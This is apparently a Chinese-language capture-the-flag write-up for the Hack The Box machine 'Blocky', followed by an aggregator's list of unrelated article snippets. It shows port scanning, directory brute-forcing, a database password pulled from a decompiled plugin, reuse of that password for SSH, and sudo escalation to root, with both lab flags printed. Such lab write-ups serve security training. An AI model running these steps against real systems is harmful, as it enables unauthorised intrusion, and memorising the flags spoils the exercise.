HTB:Blocky[WriteUP]

news2024/11/25 18:59:59

目录

连接至HTB服务器并启动靶机

使用nmap对靶机进行端口扫描

再次使用nmap对靶机开放端口进行脚本、服务信息扫描

对FTP服务版本:ProFTPD_1.3.5进行漏洞扫描

对SSH服务版本:OpenSSH 7.2p2进行漏洞扫描

使用浏览器访问靶机80端口

使用浏览器访问URL:http://blocky.htb/plugins

通过获取到的凭证登录到phpMyAdmin

USER_FLAG:ae2e8f6446440ddf3c42aa4653c9fb5b

权限提升

ROOT_FLAG:dad0c0993274a6ddce75361278ba3f4c


连接至HTB服务器并启动靶机

靶机IP:10.10.10.37

分配IP:10.10.16.22


使用nmap对靶机进行端口扫描

 nmap -p- --min-rate=1500 -T4 -sS -sU -Pn 10.10.10.37

靶机开放端口:21、22、80、25565。均为TCP端口

再次使用nmap对靶机开放端口进行脚本、服务信息扫描

nmap -p21,22,80,25565 -sCV 10.10.10.37

从扫描结果可见靶机应该是Ubuntu_Linux系统,对各服务版本进行漏洞扫描

对FTP服务版本:ProFTPD_1.3.5进行漏洞扫描

searchsploit ProFTPD 1.3.5

可以看到基本是什么文件复制洞,尝试匿名登录一下靶机FTP服务器

ftp 10.10.10.37

┌──(root㉿kali)-[/home/kali/Desktop]
└─# ftp 10.10.10.37                                                   
Connected to 10.10.10.37.
220 ProFTPD 1.3.5a Server (Debian) [::ffff:10.10.10.37]
Name (10.10.10.37:kali): anonymous
331 Password required for anonymous
Password:
530 Login incorrect.

对SSH服务版本:OpenSSH 7.2p2进行漏洞扫描

searchsploit OpenSSH 7.2p2

SSH服务这边只有用户名枚举漏洞,对我来说也没啥用

使用浏览器访问靶机80端口

直接访问会显示链接已被重置,所以我们将IP和域名写入hosts文件使DNS本地解析

echo '10.10.10.37 blocky.htb' >> /etc/hosts

接着使用dirbuster、dirsearch、ffuf、wfuzz等工具对靶机路径进行爆破

ffuf -u http://blocky.htb/FUZZ -w ../dictionary/common.txt

这里不知道什么原因,用ffuf爆破出来的目录响应码和真实响应码不一致

使用浏览器访问URL:http://blocky.htb/plugins

直接点击BlockyCore.jar文件将其下载到本地

使用JD-GUI打开该文件

用户:root

密码:8YsqfCTnvxAUeduzjNSXe22


通过获取到的凭证登录到phpMyAdmin

在左侧数据库栏目中选择:wordpress->wp_users。可以找到用户notch,以及哈希密码

可以确定该用户就是数据库管理者,尝试通过SSH服务同密码登录

查找user_flag位置

find / -name 'user.txt' 2>/dev/null

/home/notch/user.txt
/usr/share/doc/phpmyadmin/html/_sources/user.txt

查看user_flag内容

notch@Blocky:~$ cat /usr/share/doc/phpmyadmin/html/_sources/user.txt
User Guide
==========

.. toctree::
    :maxdepth: 2

    transformations
    privileges
    other
    import_export
notch@Blocky:~$ cat /home/notch/user.txt
ae2e8f6446440ddf3c42aa4653c9fb5b

USER_FLAG:ae2e8f6446440ddf3c42aa4653c9fb5b


权限提升

查看当前用户可特权运行的文件

sudo -l

notch@Blocky:~$ sudo -l
Matching Defaults entries for notch on Blocky:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User notch may run the following commands on Blocky:
    (ALL : ALL) ALL

发现所有文件都可以特权运行,那就直接将shell切换到root用户即可

sudo su root

查找root_flag位置

find / -name 'root.txt'

notch@Blocky:~$ sudo su root
root@Blocky:/home/notch# pwd
/home/notch
root@Blocky:/home/notch# find / -name 'root.txt'
/root/root.txt

查看root_flag内容

cat /root/root.txt

root@Blocky:/home/notch# cat /root/root.txt
dad0c0993274a6ddce75361278ba3f4c

ROOT_FLAG:dad0c0993274a6ddce75361278ba3f4c

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2224291.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

信息搜集-域名信息收集

1.1 域名信息收集 WHOIS查询: 通过WHOIS查询可以快速得到域名的IP段、DNS解析、注册时间、地址等信息,或许运用合理可以巧妙的绕过CDN。备案信息收集: 网站备案信息收集更加方便定位资产到具体的企业名称、ICP备案号、备案人名称、公司、所处…

图片写入GPS经纬高信息

近期项目中需要往java平台传输图片,直接使用QNetworkAccessManager和QHttpMultipart类即可,其他博文中有分享。 主要是平台接口对所传输图片有要求:需要包含GPS信息(经度、纬度、高度)。 Qt无法直接实现,…

2003年秋季我给哈工大数学研究生写的讲义

我写的没出版讲义共有278页,书末参考文献 我写的讲义书末索引,冯克勤的书《代数数论》书末没有索引,陆洪文、李云峰的书《模形式讲义》书末也有索引 我写的讲义自制的封面 (对数学的研究我的经验是,跟其他科学类似&am…

「Qt Widget中文示例指南」如何实现半透明背景?

Qt 是目前最先进、最完整的跨平台C开发工具。它不仅完全实现了一次编写,所有平台无差别运行,更提供了几乎所有开发过程中需要用到的工具。如今,Qt已被运用于超过70个行业、数千家企业,支持数百万设备及应用。 本文将为大家展示如…

Java应用程序的服务器有哪些

1.Tomcat、Jetty 和 JBoss 区别? Apache Tomcat、Jetty 和 JBoss都是用于部署Java应用程序的服务器,它们都支持Servlet、JSP和其他Java EE(现在称为Jakarta EE)技术。尽管它们有一些相似的功能,但它们之间还是存在一些…

Mysql在线修改表结构工具gh-ost使用说明及实践

本文内容较多,篇幅较长,若不想了解ghost原理,几种模式的介绍以及具体的验证过程,可直接跳到‘四 gh-ost使用总结’查看简洁版使用说明。 一 gh-ost使用场景 生产环境当有关于一个大表的大操作时(比如select count一个大表)&…

沈阳乐晟睿浩科技有限公司抖音小店领域的强者

在当今数字化浪潮的推动下,电子商务以其便捷性、高效性和广泛的覆盖面,成为了推动经济发展的新引擎。而抖音小店,作为短视频平台上的新兴电商形态,更是凭借其庞大的用户基础、精准的内容推送机制以及独特的购物体验,迅…

qt QNetworkProxy详解

一、概述 QNetworkProxy通过设置代理类型、主机、端口和认证信息,可以使应用程序的所有网络请求通过代理服务器进行。它支持为Qt网络类(如QAbstractSocket、QTcpSocket、QUdpSocket、QTcpServer、QNetworkAccessManager等)配置网络层代理支持…

Spring Boot框架下的厨艺社交网络构建

1 绪论 1.1 研究背景 现在大家正处于互联网加的时代,这个时代它就是一个信息内容无比丰富,信息处理与管理变得越加高效的网络化的时代,这个时代让大家的生活不仅变得更加地便利化,也让时间变得更加地宝贵化,因为每天的…

iOS 本地存储地址(位置)

前言: UserDefaults 存在沙盒的 Library --> Preferences--> .plist文件 CoreData 存在沙盒的 Library --> Application Support--> xx.sqlite 一个小型数据库里 (注:Application Support 这个文件夹已开始是没有的,只有当你写了存储代码,运行之后,目录里才会出…

IDEA开发工具使用技巧积累

一、IDEA 工具设置默认使用maven的settings.xml文件 第一步:打开idea工具,选中 File ——> New Projects Setup ——> Settings for New Projects 第二步:先设置下自动构建项目这个选项 第三步:选中 Build Tools ——>…

深度学习-循环神经网络-LSTM对序列数据进行预测

项目简介: 使用LSTM模型, 对文本数据进行预测, 每次截取字符20, 对第二十一个字符进行预测, LSTM层: units100, activationrelu Dense层: units输入的文本中的字符种类, 比如我使用的文本有644个不同的字符, 那么units64 激活函数: 因为是多分类, 使用softmax 因为这是最…

树莓派5使用pytorch训练模型(CPU)

Pytorch 对于树莓派提供了较好的支持,可以利用 Pytorch 在树莓派上进行试试推理,当然也可以使用树莓派进行模型训练了,这里尝试使用树莓派CPU对模型进行训练。 0 环境配置 必要的环境安装,这个步骤没有什么值得说的,…

c++(树)

定义 2-3 树中的每一个节点都有两个孩子(称为 2 节点,2-node)或三个孩子(称为 3 节点,3-node)。 2 节点,有一个数据元素和两个孩子。只能有两个孩子或没有孩子,不能出现只有一个孩子的情况。如果…

JVM学习总结:字节码篇

本文是学习尚硅谷宋红康老师主讲的 尚硅谷JVM精讲与GC调优教程 的总结 ,部分内容也参考了 JavaGuide 网站(文末有链接) JVM 概述 Oracle JDK 与 OpenJDK 是什么关系? 2006 年 SUN 公司将 Java 开源,也就有了 OpenJDK。…

【verilog】四位全加器

文章目录 前言一、实验原理二、实验过程三、实验结果参考文献 前言 进行 FPGA 全加器 实验 一、实验原理 module adder(ain,bin,cin,cout,s); input ain,bin,cin; output cout,s; assign coutain&bin | ain&cin | bin&cin; assign sain^bin^cin; endmoduletimesc…

复杂类型map与struct

1.map:Key-Value 型数据格式 建表: create table myhive.test_map( id int, name string, members map<string,string>, age int) row format delimited fields terminated by , COLLECTION ITEMS TERMINATED BY # MAP KEYS TERMINATED BY :; 数据导入:load data local …

基于ssm+jsp的地方疫情管理系统(含源码+数据库)

1.开发环境 开发系统:Windows10/11 架构模式:MVC/前后端分离 JDK版本: Java JDK1.8 开发工具:IDEA 数据库版本: mysql5.7或8.0 数据库可视化工具: navicat 服务器: apache tomcat 主要技术: Java,Spring,SpringMvc,mybatis,mysql,vue 2.视频演示地址 3.功能 该系统包含两个…

「二叉树进阶题解:构建、遍历与结构转化全解析」

文章目录 根据二叉树创建字符串思路代码 二叉树的层序遍历思路代码 二叉树的最近公共祖先思路代码 二叉搜索树与双向链表思路代码 从前序与中序遍历序列构造二叉树思路代码 总结 根据二叉树创建字符串 题目&#xff1a; 样例&#xff1a; 可以看见&#xff0c;唯一特殊的就…

Fast Simulation of Mass-Spring Systems in Rust 论文阅读

参考资料&#xff1a; Fast Simulation of Mass-Spring Systems in Rust 论文阅读&#xff1a;Fast Simulation of Mass-Spring Systems 【论文精读】讲解刘天添2013年的fast simulation of mass spring system(Projective Dynamics最早的论文) Projective Dynamics笔记(一…